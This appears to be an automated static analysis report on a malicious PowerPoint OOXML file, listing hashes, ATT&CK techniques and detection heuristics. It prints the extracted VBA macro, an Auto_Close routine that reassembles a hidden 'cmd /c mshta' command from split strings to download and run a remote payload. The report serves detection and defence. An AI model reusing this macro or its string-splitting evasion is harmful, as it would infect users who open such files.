Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 0ef2cee5f9772767…

MALICIOUS

Office (OOXML)

6.8 KB First seen: 2021-09-17
MD5: c1438e65ffc314355931881ea49cca47 SHA-1: cbc41ff44067b17a3cdbedbe56ddd8e467d869af SHA-256: 0ef2cee5f977276748d4a0d8af7e390b92c6b86bd7d2df18506e82d541d323ca
280 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File T1566.001 Spearphishing Attachment

The OOXML document contains a VBA macro that is automatically executed via the Auto_Close subroutine. This macro constructs and executes a command using Shell(), which includes a URL pointing to a bit.ly shortened link. The reconstructed command is 'cmd /c mshta https://bitly.com/qwukdasm'. This indicates the document is designed to download and execute a second-stage payload from the provided URL, likely delivered via spearphishing.

Heuristics 6

  • ClamAV: Win.Malware.Agent-9891649-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Malware.Agent-9891649-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 304 bytes
SHA-256: eaf5b297f1376b821082e4a769ced4cbffa07b9ed137014d8cc3b8175a92e411
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub Auto_Close()
        begoxjup
End Sub

Attribute VB_Name = "adaolv"
Function begoxjup()
Dim znoywzff As Variant
znoywzff = "cmd" + " /c  " + "m" + "s" & "h" & "t" + "a https://" & "bitly.com" & "/qwukdasm" & "sadbkasasddb"
Shell znoywzff, vbHide
End Function
vbaProject_00.bin vba-project OOXML VBA project: ppt/vbaProject.bin 13824 bytes
SHA-256: b983ced3f6edc9a5c6e9ffa3fa0a1588bb01d8edd6151bd36a7df6535eebf248

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